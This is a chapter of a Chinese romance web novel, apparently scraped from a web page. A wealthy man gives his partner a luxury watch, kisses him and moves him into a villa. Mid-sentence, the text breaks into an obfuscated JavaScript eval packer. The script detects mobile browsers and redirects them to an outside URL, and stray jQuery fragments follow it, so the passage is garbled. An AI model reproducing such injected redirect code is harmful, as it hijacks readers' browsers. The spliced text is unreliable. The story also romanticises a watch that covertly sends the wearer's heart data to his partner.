63.房子
作品:《卷王被大小姐盯上后》 夏屿终于抬眼看他:“穿着上班,够用了。”
“不够。”裴清晏松开那件衬衫,任它落回原处,语气理所当然得像在陈述天气,“我给你换成我的样式吧,我衣帽间里有好多同款不同色的,质感比这个好十倍。这些……”
他扫了一眼衣柜里整整齐齐挂着的大多是基础款和商务款的衣物,“都丢了吧。”
夏屿没接话,把找到的充电线卷好塞进电脑包侧袋。
裴清晏见他没反应,又从衣柜前走开,开始在房间里继续“巡视”。
他走到沙发边,手指按了按沙发坐垫,又摸了摸扶手的面料。
“这个沙发的颜色也不好看。”他评价道,转身看向夏屿,“灰蓝色太冷了,我家有一套天鹅绒的,是你喜欢的深蓝色,更软,坐着也更舒服。我可以把放那套沙发的房子送给你。”
他说得轻描淡写,仿佛送出一套房子和送出一颗糖没什么区别。
夏屿终于收拾好电脑,拉上背包拉链,直起身看向裴清晏。
裴清晏正站在房间中央,暖黄的顶灯落在他身上,将那身浅灰色风衣照得质感细腻,粉灰色的发丝边缘泛着一圈淡淡的光晕。
他微微歪着头看夏屿,眼神专注,带着点等待回应的期待,又有些不满被忽视的委屈。
“宝贝?”裴清晏又唤了一声,声音压低了些,尾音拖长,“你怎么不理我?”
夏屿看着他这副模样,心底忽然就被什么柔软的东西戳了一下。
他没回答裴清晏那些关于衣服、沙发、房子的提议,而是转身走向书桌一角。
那里放着一个深蓝色的丝绒表盒。
是上次裴清晏在车里,不由分说戴到他手腕上的那块Richard Mille RM 56-02。
后来夏屿把它摘下来仔细收好,一直没再戴过。
只因为这个表太贵重,也太招摇,不符合他一个打工助理的身份。
但此刻,他看着那个表盒,耳边还回荡着裴清晏刚才那些挑剔又带着执拗关心的话语,手指顿了顿。
然后他拿起表盒,打开。
幽蓝的蓝宝石水晶表壳在室内光线下流淌着静谧的光泽,表盘内精密的陀飞轮结构静止着,却仿佛蕴藏着迷人的机械生命力。
外圈镶嵌的一圈蓝宝石,低调,却会在特定角度折射出深邃的碎光。
夏屿将手表拿出来,触到微凉的金属表壳和柔软的皮革表带。
他低头,将表带套上左手手腕。表带是可调节的设计,他调整到合适的松紧,扣上表扣。
机械表盘的重量落在腕骨上,带着一种
属于另一个世界的存在感。
就在这时,一双手臂从背后环了过来,温热地圈住了他的腰。
裴清晏的下巴轻轻搁在了夏屿的肩窝处,呼吸拂过他颈侧的皮肤。
他的目光落在夏屿刚刚戴上手表的左腕上,停顿了几秒。
夏屿能感觉到身后贴过来的体温,以及裴清晏胸腔里平稳的心跳。
他没动,任由对方抱着,视线也落在自己腕间那块过分华丽的表上。
“这么贵的东西,”夏屿开口,声音很轻,像在自言自语,又像在解释,“放在这里不安全,还是戴着吧。”
他说的是实话。这表的价值足以让人铤而走险,戴在身上反而比放在空置的公寓里更稳妥。
但他也知道,这不全是理由。
裴清晏的手臂收紧了点,脸颊在夏屿肩头蹭了蹭,像只确认气味的大型猫科动物。
“戴着吧。”裴清晏的声音贴着夏屿的耳朵响起,带着点闷闷的却掩不住愉悦的笑意,“我家里还有很多,你如果喜欢,以后可以去我那儿挑,每天换着戴。或者……”
他顿了顿,呼吸又热了几分:“我让人再给你专门设计几块,只给你一个人戴的。”
夏屿没接这个话茬。
他在裴清晏的怀抱里转过身。
裴清晏的手臂依旧环着他的腰,没有松开,反而因为这个面对面的姿势,将两人之间的距离拉得更近。
夏屿抬起眼,对上裴清晏垂落的视线。
裴清晏今天戴了眼镜,此刻那双漂亮的丹凤眼藏在镜片后面,眼神却依旧灼热得毫不遮掩,专注地凝在夏屿脸上,仿佛要将他每一寸神情变化都收进眼底。
夏屿伸出手,抵在裴清晏的胸膛上,轻轻推了一下。
“干什么?”他问,语气里带着点无奈的纵容,听不出多少真正的拒绝意味。
裴清晏没答话。
他空出一只手,握住了夏屿戴着表的左手手腕。
他的手指修长有力,掌心温热,带着薄薄的茧,可能是练乐器留下的。
他握住夏屿手腕的力道不算重,却带着一种不容挣脱的坚定。
然后,他做了一个让夏屿怔住的动作。
裴清晏低下头,将夏屿的手腕拉近,用自己温热的脸颊轻轻蹭了蹭那块冰凉的蓝宝石表壳。
他的动作很慢,带着一种近乎虔诚的珍视感。
接着,他的唇落在了夏屿手腕内侧最柔软,脉搏跳动最清晰的皮肤上。
温热的触感,混合着呼吸的潮湿,像一道细微的电流,顺着腕部的血管倏然窜上夏屿的脊背。
夏屿的身体僵了一瞬。
而就在这时,他腕间的手表,忽然有了变化。
原本静谧流淌的幽蓝色光泽,仿佛被注入了生命,开始以一种极舒缓的节奏明暗交替。
表盘外圈镶嵌的那一圈蓝宝石,竟逐渐折射出五彩的碎光,像被敲碎的彩虹,又像深夜悄然绽放的星云。
光芒并不刺眼,却足够梦幻,将两人贴近的方寸空间笼罩进一片流转的微光里。
夏屿怔怔地看着腕间这超乎常理的变化,一时忘了呼吸。
裴清晏的唇还贴在他的手腕内侧,他能感觉到对方唇角弯起的弧度。
然后,裴清晏抬起头,镜片后的眼睛映着手表流转的彩光,眸色深得像是藏了旋涡。
他松开夏屿的手腕,指尖却顺着小臂缓缓上移,最后轻轻托住了夏屿的下巴。
“哥哥,”裴清晏的声音压得很低,带着一种蛊惑般的沙哑,气息拂在夏屿唇边,“你心跳乱了。”
夏屿倏然回神,下意识反驳:“我没有。”
话一出口,他才意识到自己的声音有些发紧。
“你有。”裴清晏低笑一声,拇指指腹极轻地擦过夏屿的下唇,“这块表是我参与设计的。除了看时间,还加了一点小小的安全系统。”
他的目光落在夏屿腕间依旧流转着梦幻光芒的表盘上,眼神里有种孩子气的得意,又混杂着令人心悸的专注。
“如果佩戴者的心跳出现异常波动。比如紊乱,或者加速,”裴清晏缓缓说道,每一个字都清晰地钻进夏屿耳朵里,“它就会像现在这样,发光提醒,同时,相关数据会加密传送到我的私人邮箱。”
他顿了顿,凑得更近,鼻尖几乎要碰到夏屿的鼻尖。
“而且,”裴清晏的嗓音更沉了些,带着一种宣告般的笃定,“我过目不忘。”
夏屿看着近在咫尺的这张脸,看着那双被镜片微微模糊了边缘,却依旧锋利灼人的眼睛,感觉自己的心跳在对方的话语里,不受控制地又漏跳了一拍。
腕表上的光芒,似乎随之更明亮了些。
他下意识地想移开视线,垂下眼眸,却发现自己连这个简单的动作都有些艰难。
“所以呢?”夏屿听见自己的声音问,比平时更轻,更干涩。
裴清晏没有立刻回答。
他托着夏屿下巴的手指微微用力,迫使他重新抬起眼。
然后,他缓缓地低下头。
在两人的唇即将碰触的前一瞬,裴清晏停住了。
距离近到夏屿能看清他睫毛末梢细微的颤动。
“所以这代表着,”裴清晏的声音轻得像叹息,却带着千钧的重量,一字一句,敲进夏屿心里,“我将永远记得——”
他的唇终于落下,温柔却坚定地覆上了夏屿的。
“——你为我心跳失序的这一秒。”
最后一个音节消失在相贴的唇瓣间。
夏屿的呼吸彻底滞住了。
腕表上流转的彩光在视线边缘晃动,像一场无声的并且只为他们两人绽放的烟花。
裴清晏的吻不像之前在车里那样带着横冲直撞的掠夺性,而是更缠
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121614|190284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
绵,更耐心,带着一种确认般的珍重。
他的舌尖温柔地抵开夏屿因惊愕而微张的唇缝,探进去,细致地描摹过每一寸敏感的内壁,然后勾住夏屿下意识想要退缩的舌尖,轻轻纠缠。
夏屿抵在裴清晏胸膛上的手,指尖不自觉地蜷缩起来,抓住了对方风衣前襟的布料。
柔软细腻的羊绒面料在他掌心皱成一团。
心跳如擂鼓,一下又一下,重重撞击着胸腔,连带着腕间的脉搏也急促跳动。
裴清晏的另一只手不知何时移到了夏屿的后颈,手指插进他柔软的发丝间,轻柔却不容拒绝地掌控着这个吻的深度和节奏。
不知道过了多久,就在夏屿觉得自己可能真的会因为缺氧而眩晕时,裴清晏终于稍稍退开。
两人的唇分开,带出一缕细微的银丝,很快断开。
裴清晏的额头抵着夏屿的额头,呼吸同样有些急促。
他看着夏屿微微泛红的脸颊和湿润的眼角,喉结滚动了一下,再次低头,在夏屿唇角珍重地啄吻了一下。
“走吧,”裴清晏的声音哑得厉害,却带着餍足的愉悦,“该去我们的家了。”
他松开夏屿,转而牵起他的手,十指相扣。
夏屿被他拉着,有些踉跄地跟着走了两步,才勉强从那个绵长而令人失神的吻里找回一点神智。
他低头看了一眼两人交握的手,又看了看自己腕间终于逐渐恢复平静幽蓝光泽的手表,无声地吸了一口气。
半个小时后,车子驶入一处闹中取静的别墅区。
绿植掩映间,独栋别墅的轮廓在夜色中显得静谧而低调。
司机将车停在庭院里,尽职地没有多问一句,只低声说了句“Boss,夏先生,到了”,便目送两人下车,然后悄然将车开走。
裴清晏牵着夏屿的手,推开厚重的入户门。
门内是挑高的客厅,装修风格是现代简约中混合着一些艺术感的装饰,大片留白,线条利落。
暖色的隐藏式灯带亮起,将空间烘托得舒适而不失格调。
“这里是我常住的地方之一,”裴清晏一边带着夏屿往里走,一边随意介绍,“离市区近,方便。”
他拉着夏屿上了二楼,推开走廊尽头的一扇门。
房间很大,延续了整体的简约风格,以浅灰色和原木色为主。
一整面墙的落地窗外是延伸出去的露台,能看见远处城市的灯火,床品是质感极佳的深灰色,看起来柔软蓬松。
“这个房间以后就是你的了。”裴清晏说,松开夏屿的手,走到衣柜前拉开柜门。
里面空荡荡的,只有几个防尘袋挂着。
裴清晏:“明天就让人把你的尺寸送过来,填满它。”
夏屿环顾四周,点了点头:“好。”
裴清晏眼睛一亮,立刻又拉着他走到房间另一侧,推开一扇隐藏式的门。
门后是一间宽敞的书房,两面墙是顶天立地的书柜,目前大部分还空着。
中间是一张巨大的实木书桌,配着一张符合人体工学的办公椅。角落里还有一张舒适的阅读沙发和小边几。
“书房也是你的了。”裴清晏回头看着夏屿,眼神里的期待几乎要溢出来,“你可以在这里写你的小说,处理工作,做什么都行。”
夏屿看着这间明显是提前准备好的书房,心里那点复杂的情绪又翻涌了一下。
他再次点了点头,语气比刚才更温和了些:“嗯。”
裴清晏嘴角的弧度一下子扬得更高。
他往前凑了一步,几乎要贴到夏屿身上,低头看着他,声音里带着毫不掩饰的雀跃和得寸进尺:
“那我也是你的了。”
夏屿抬眼,对上他亮晶晶的、写满“快答应我”的眼神,沉默了两秒。
然后他轻轻的笑了。连眼睛里都染上了一点无奈又纵容的笑意。
裴清晏被他这个笑晃得一愣。
“很累了,”夏屿笑着摇了摇头,抬手轻轻推了一下裴清晏的肩膀,力道不大,更像一种亲昵的示意,“去洗漱休息吧。”
他顿了顿,视线扫过房间门,又落回裴清晏脸上,带着点明知故问的调侃:“你的房间呢?”

